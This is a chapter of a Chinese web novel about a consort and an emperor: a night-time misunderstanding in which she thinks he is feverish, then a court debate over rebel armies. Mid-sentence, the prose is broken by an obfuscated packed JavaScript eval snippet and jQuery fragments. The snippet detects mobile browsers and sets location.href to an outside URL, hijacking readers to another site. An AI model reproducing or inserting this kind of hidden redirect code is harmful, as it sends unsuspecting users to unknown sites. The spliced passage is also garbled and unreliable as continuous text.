82. 第 82 章

作品:《我的竹马暴君小可怜

    “陛下,时辰不早了,咱们歇了吧。”


    “好。”


    元香瞅着笑得像朵花似的陛下,收了长枪,默默叹气。


    这家伙究竟哪天能放过她?


    天天大白天跑两趟香妃殿不算,到了晚上,还日日不落找她睡觉。宫里那么多嫔妃放着不找,专来折磨她。


    要这家伙不在,她想干嘛就干嘛,想几点睡就几点睡。他在了,挑食他要管,练武他要看,赶他去睡觉,就是不走,说什么要陪着爱妃一道,爱妃不睡他也不睡。


    元香想过不管他的。但哪个明君会在上早朝时不断打哈欠的?


    为了早日督促他成为明君,为了早日出宫,元香只能少练一个时辰的枪,陪他睡觉去。


    元香跳进浴池里,游个两圈,就出来了。


    四仰八叉躺在床上,迷迷糊糊想着,这天天洗澡,还天天洗一个时辰澡,他也不怕把自己洗秃噜皮喽。


    不过难怪他这么白,这么嫩,每天跟身边躺了个香熏炉似的,也不错。


    “爱妃,睡了吗?”


    元香听到呼唤,艰难的睁开一只眼,就瞅见了好大一张脸。


    陛下正侧躺在她身侧,面颊酡红,冲她傻乐。睡袍也没穿好,手这么一撑,好大一个口子,元香探头一瞧,都能瞧见里头白腻腻一片。


    要不是床帐内昏暗,她恐怕看得更清楚。


    莫骄脸烧的更红了。下意识想把衣襟拢好,又想到是香儿要看的,他又规规矩矩将手垂放到两侧,只目光如含春光注视着元香。


    元香叹口气,扯过被子一角,给他盖上:“别着凉了,明天还要上朝呢。”说完躺下接着睡。


    刚闭上眼,就听到:“爱妃。”


    元香睁眼:“陛下有话直说。”


    莫骄脸都快滴出血来。这要他怎么直说嘛。


    香儿毕竟是个姑娘,他得主动才对。


    这样想着,莫骄伸手抓住了香儿的手。由于太激动,他一下没抓稳,只牢牢抓住了元香一根小拇指。


    哼,他终于忍不住了。


    元香早发现了,自打他们同床共枕以来,这家伙就想碰她。估计怕被揍,他始终没勇气,今天总算是露出了狐狸尾巴。


    害怕就直说嘛。她也不是那等小气之人。拉个小拇指能管用呀。元香索性反客为主,反手就和他十指相扣。


    莫骄一愣,随即感受到跳出胸腔的心跳声。越来越快,越来越急,他如着了魔般,一个翻身,就压在了元香身上。


    元香“嘿”一声,莫骄慌乱,手足无措,胡言乱语,“是不是弄疼你了?朕一定太重了。”


    元香按住他的腰,不让他乱动:“陛下轻得很……”才说了半句话,元香忽觉不对。


    她神情一肃,手掌贴着陛下的腰上摸摸,又下摸摸,随即头伸出账外大喊:“快叫御医,陛下病了。”


    莫骄还没反应过来,又感觉自己被放倒在床上,听到香儿严厉问自己:“陛下身体不舒服,怎的不早说?”


    他……他怎么病了?“朕无碍。”


    元香才不信他:“瞧这身体都烫成什么样了,还没病呢。陛下是烧糊涂了吧。”


    元香将被子给他扯开,又打算将他衣服也扯开点,散散热时,想起来生病的人好像要捂身汗才能好,又迅速用被子将他裹紧了。


    莫骄挣扎:“朕真的没事。”


    “别动,马上御医来了。”


    值夜的御医匆匆赶到,还以为陛下又毒发了。把了脉,才放心,欲言又止,抖抖索索,冲陛下和香妃道:“陛下无碍。只……望陛下日后注意身体,勿要过急过躁才好。”


    御医觉得自己倒霉,御医院里那么多御医,从前也没听说陛下有过这种病症,怎么偏他一上任,就被他碰上了呢?


    莫骄垂眉耷眼,默不作声。只脸上的红晕已然退下,裹在红彤彤的富贵如意锦被中,显得整张脸苍白的可怕。


    元香得知陛下没事,才松口气。转头和陛下道:“陛下可要记得御医的话。以后,万事咱们都慢慢来。”


    莫骄一点头,示意他知道了。


    元香又冲御医道谢,让赏茶给御医包了包点心当宵夜吃。


    年轻御医还是头一回被安排给陛下看诊,在这之前,他可没少听说陛下的残暴,恨不得日日呆在御医院里捣药晒药。听说陛下传召,他别提多胆战心惊了。


    可这一见,他意外了。陛下这么温和听话的吗?


    年轻御医捧着点心回到御医院后,就和另两个执守的同僚说。同僚嘘他,但毕竟这是在宫里,谁也没敢说别的。


    高三全生怕陛下下回又过急过躁,趁着陛下不注意,凑到香妃跟前,小声提醒:“还望娘娘多多关照陛下,陛下日来身子弱,可经不起。”


    元香纳闷:“经不起什么?”


    高三全:“经不起再三折腾。娘娘可千万要悠着点。”


    元香觉得自己冤枉:“你这话说的,好像是本宫对你家陛下做了何伤天害理之事一样。”


    “奴才不是这个意思。娘娘做任何都是应当的,再过分也是应当的,是奴才说错话,奴才该死。”说着就毫不惜力刮了自己一巴掌。


    元香看着都替他疼,赶紧说:“本宫知道了,本宫听你的,多关照陛下就是了。”


    高三全这才笑开。


    元香忍不住提醒:“下回有话好说,可别再打自己了。”搞得好像她是恶毒娘娘似的。


    高三全应下,赔笑脸:“奴才习惯了。奴才下回一定注意。”


    送走高三全,元香回头瞧陛下,发现陛下还一动不动抱着被子靠坐在床头。


    元香爬上床,摸摸他脸,又伸出手,往下摸了摸,没发现再滚烫后,才彻底放了心。


    “陛下睡吧,明日还早起呢。”


    床帐落下,漆黑一片,莫骄只感觉刚被触碰过的地方如火燎般。他放稳呼吸,一直等到听到香儿的呼噜声,他才大口喘息。


    手抚过胸膛,在香儿摸过的地方流连。


    侧头瞧着香儿,他慢慢伸手,想拉过香儿的手,结果香儿手指一动,他吓得立马缩回手。


    又听到香儿均匀的呼噜声时,他呆呆望着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156743|148429||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    帐顶,探手而下,幻想着香儿的手抚慰过他身体的每一寸。


    第二日,元香被细碎的响声吵醒,就见高三全正在给陛下穿戴皇袍。


    听到高三全小声嘱咐陛下:“陛下,明知今日要早起的,昨晚该适可而止才对。”


    莫骄不说话。


    元香撑着头疑惑问:“适可而止什么?”


    高三全和陛下一道转头看她,都没说话。


    元香就看到了陛下脸上的两个黑眼圈。元香感叹,长得太白看来也不是一件好事。


    上朝时,当然所有大臣都看到了陛下脸上的黑眼圈。陛下宠爱香妃娘娘的事如今怕是传遍了京都城,大臣们自然也一早知晓。


    看到陛下这张脸,大家不敢乱说话,但心里都有数。


    许仆射冷眼盯着前面某位大人的后脖颈,只眼尾余光瞥见高坐上的人影。都说是个病秧子,却活到至今,和女人一宿,还能起得来上朝。


    那些等着暴君自行暴毙的人恐怕都要失望了吧。


    “……如今能对我朝起到威胁的民间起义团共三个,一是大丰收,二是蓝眉军,三是瓦岗寨。陛下,臣以为逐一攻破是为上计。”


    “臣以为万万不可。陛下,万一三个起义团凑一起,大越无胜算哪。”


    “李侍中的意思是随反叛党慢慢壮大,咱们就不管了?”


    李侍中面色一变:“黄大人是在质疑本官吗?”李侍中冲陛下急急拜倒,“陛下,臣对陛下,对大越誓死效忠,绝无丝毫异心,还请陛下明鉴!”


    “本官没说你什么吧?本官有说什么吗?简直不打自招。”黄大人气得将脸哼到一边。


    李侍中指着黄大人:“陛下,黄大人还在侮辱臣,请陛下为臣做主!”


    黄大人简直不敢置信。


    陛下懒得参和臣子们斗嘴,国事都忙不过来呢。“李侍中以为朕待如何?”


    李侍中听到陛下的问话,立时放缓了呼吸,疾步出列,掀袍下拜道:“臣以为反叛党同为大越子民,陛下可利用之。”


    陛下:“如何利用?”


    李侍中:“以他们在起义团中的地位,给予官职。陛下,挑起战乱不如笼络人心,为己所用。”


    陛下未再接李侍中话,而是询问百官:“众卿以为如何?”


    黄大人道:“陛下万万不可。反叛党要为官上朝,等同于在朝中安插奸细。祸患哪陛下。”


    “黄大人说的是。这要随便谁都能封官,那寒门十年苦读又有何意义?不妥,不妥。”


    “臣也觉不妥。”


    “臣以为李侍中话在理。前朝还招揽敌国重臣,给予高官厚禄,如今反叛党还都是我大越朝子民,又有何不可?”


    “没错,前朝名将或北就是敌国大将,被前朝陛下收服后,一心为主,赢下多次大战。只要陛下以诚待之,反叛党定能人人回头是岸,为陛下所用。”


    李侍中偏头,瞥许仆射一眼,过半晌又瞥许仆射一眼。


    终于,许仆射开口了:“陛下,臣以为众位大人皆说的有理。臣有一句话想问黄大人。”